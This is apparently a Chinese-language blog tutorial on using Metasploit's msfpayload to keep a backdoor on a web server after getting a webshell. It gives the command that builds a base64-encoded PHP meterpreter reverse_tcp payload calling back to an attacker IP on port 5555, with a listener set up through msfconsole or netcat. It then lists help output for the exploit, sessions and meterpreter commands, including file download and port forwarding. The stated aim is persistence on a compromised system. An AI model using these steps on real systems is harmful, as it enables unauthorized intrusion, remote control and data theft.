msfpayload反弹shell

1、前期--

情景就是当我们获得webshell时，我们想留下我们的后门，这个时候我们可以用到msfpayload与msfconsole结合使用

启动PostgreSQL服务：service postgresql start

启动metasploit服务：service metasploit start

启动msfconsole：msfconsole

查看数据库连接状态：db_status

生成后门文件

msfpayload php/meterpreter/reverse_tcp LHOST=192.168.133.128 LPORT=5555 R | msfencode -e php/base64 -t raw -o /root/Desktop/exp.php

exp.php需要加上<?php  ?>

攻击端启动监听

或者

nc 192.168.133.128 -lvp 5555

然后去访问我们的后门文件

2、大家想保存我们得到的session怎么办？首先必须连接数据库

exploit -h
 -e <opt>  The payload encoder to use.  If none is specified, ENCODER is used.  有效负载编码，默认使用
    -f        Force the exploit to run regardless of the value of MinimumRank.
    -h        Help banner.
    -j        Run in the context of a job.  在后台中运行
    -n <opt>  The NOP generator to use.  If none is specified, NOP is used.
    -o <opt>  A comma separated list of options in VAR=VAL format.
    -p <opt>  The payload to use.  If none is specified, PAYLOAD is used.
    -t <opt>  The target index to use.  If none is specified, TARGET is used.
    -z        Do not interact with the session after successful exploitation  建立会话放到后台

sessions -h
    -K        Terminate all sessions  杀死所有sessions
    -c <opt>  Run a command on the session given with -i, or all 执行一个命令
    -d <opt>  Detach an interactive session
    -h        Help banner
    -i <opt>  Interact with the supplied session ID   连接会话
    -k <opt>  Terminate sessions by session ID and/or range
    -l        List all active sessions
    -q        Quiet mode
    -r        Reset the ring buffer for the session given with -i, or all
    -s <opt>  Run a script on the session given with -i, or all
    -t <opt>  Set a response timeout (default: 15)
    -u <opt>  Upgrade a shell to a meterpreter session on many platforms
    -v        List verbose fields

3、meterpreter使用

Core Commands 代码命令
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu  查看帮助
    background                Backgrounds the current session 将sessions保存到后台
    bgkill                    Kills a background meterpreter script  杀死后台meterpreter脚本
    bglist                    Lists running background scripts 列出后台meterpreter脚本
    bgrun                     Executes a meterpreter script as a background thread   在后台进程中执行一个脚本
    channel                   Displays information about active channels  显示活动的通道
    close                     Closes a channel  关闭通道
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session  退出
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode  开启ruby终端
    load                      Load one or more meterpreter extensions
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for ‘load‘
    write                     Writes data to a channel

Stdapi: File system Commands  文件命令
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory

Stdapi: Networking Commands 网络命令
===========================

    Command       Description
    -------       -----------
    portfwd       Forward a local port to a remote service  端口转发　　 portfwd  add -l 5555 -p 3389 -r 192.168.198.129  将192.168.198.129的3389端口转发到本地的5555端口

Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command  执行命令
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    shell         Drop into a system command shell  生成一个shell
    sysinfo       Gets information about the remote system, such as OS  查看系统信息

附上：初探meterpreter